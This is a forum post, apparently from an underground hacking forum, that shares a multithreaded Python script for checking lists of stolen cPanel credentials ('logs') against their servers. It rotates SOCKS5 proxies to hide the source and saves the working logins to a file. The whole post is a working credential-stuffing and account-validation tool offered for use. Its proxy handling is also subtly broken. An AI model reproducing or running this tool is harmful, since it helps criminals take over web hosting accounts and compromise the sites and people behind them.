Пожалуйста, обратите внимание, что пользователь заблокирован
in development open-source
steroid for logs.
Proxy support on socks5 only.
steroid for logs.
Proxy support on socks5 only.
Python:
import requests
from rich.console import Console
import pyfiglet
import urllib3
import random
from rich.table import Table
from rich.progress import Progress
from concurrent.futures import ThreadPoolExecutor
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
console = Console()
def check_cpanel_login(url, username, password, use_proxy, proxy, valid_file, bad_file, error_file):
session = requests.Session()
if use_proxy:
session.proxies = {'https': f'socks5://{proxy}'}
session.verify = False
try:
login_url = f'{url}/frontend/paper_lantern/user_manager/index.html'
params = {'user': username, 'pass': password}
response = session.get(login_url, params=params)
if 'cpsess' in response.url:
valid_file.write(f"{url}:{username}:{password} - Valid login\n")
return 'valid'
else:
bad_file.write(f"{url}:{username}:{password} - Bad login\n")
return 'bad'
except requests.exceptions.RequestException as e:
error_message = str(e)
if 'No connection adapters' in error_message: # Handle invalid scheme
return 'invalid_schema'
else:
error_file.write(f"{url}:{username}:{password} - Error: {error_message}\n")
return 'error'
def process_lines(lines, use_proxy, proxies):
valid_count = 0
bad_count = 0
error_count = 0
invalid_schema_count = 0
valid_logins = []
table = Table(title="VALID CPANEL LOGS", show_header=True)
table.add_column("URL", justify="center", style="cyan")
table.add_column("Username", justify="center", style="magenta")
table.add_column("Password", justify="center", style="green")
with Progress() as progress:
task = progress.add_task("Checking valid logs...", total=len(lines))
with open('valid.txt', 'w', encoding='utf-8') as valid_file, \
open('bad.txt', 'w', encoding='utf-8') as bad_file, \
open('error.txt', 'w', encoding='utf-8') as error_file:
def check_login(line):
nonlocal valid_count, bad_count, error_count, invalid_schema_count, valid_logins
parts = line.strip().rsplit(':', 1)
if len(parts) != 2:
return
url_username, password = parts
url, username = url_username.rsplit(':', 1)
result = check_cpanel_login(url, username, password, use_proxy, random.choice(proxies) if use_proxy else None, valid_file, bad_file, error_file)
if result == 'valid':
valid_count += 1
valid_logins.append((url, username, password))
elif result == 'bad':
bad_count += 1
elif result == 'error':
error_count += 1
elif result == 'invalid_schema':
invalid_schema_count += 1
progress.update(task, advance=1)
with ThreadPoolExecutor(max_workers=20) as executor:
executor.map(check_login, lines)
if valid_logins:
for url, username, password in valid_logins:
table.add_row(url, username, password)
return valid_count, bad_count, error_count, invalid_schema_count, table
def main():
banner = pyfiglet.figlet_format("CPANEL VALID CHECKER - GRIDSNET", font="slant")
console.print(banner)
use_proxy = input("Use SOCKS5 proxy? (y/n): ").lower().strip() == 'y'
proxy = None
if use_proxy:
proxy_file = input("Enter proxy file(.txt): ")
with open(proxy_file, 'r') as proxy_file:
proxies = proxy_file.readlines()
lines_file = input("File containing CPANEL Logs(URL:LOG:PASS): ")
with open(lines_file, 'r', encoding='utf-8') as file:
lines = file.readlines()
total_lines = len(lines)
console.print(f"Using SOCKS5 Proxy: [cyan]{'Yes' if use_proxy else 'No'}[/cyan]")
if use_proxy:
console.print(f"Total proxies uploaded: [cyan]{len(proxies)}[/cyan]")
console.print(f"Total log lines for checking: [cyan]{total_lines}[/cyan]\n")
valid_count, bad_count, error_count, invalid_schema_count, valid_table = process_lines(lines, use_proxy, proxies[random.randint(0, len(proxies) - 1)] if use_proxy else None)
console.print(f"\nValid: [green]{valid_count}[/green]")
console.print(f"Bad: [red]{bad_count}[/red]")
console.print(f"Error: [yellow]{error_count}[/yellow]")
console.print(f"Invalid Schema: [yellow]{invalid_schema_count}[/yellow]")
# Display a table of valid logins if any are found
if valid_table.row_count > 0:
console.print("\nValid Logins - Centered", justify="center")
console.print(valid_table)
if __name__ == "__main__":
main()
Последнее редактирование: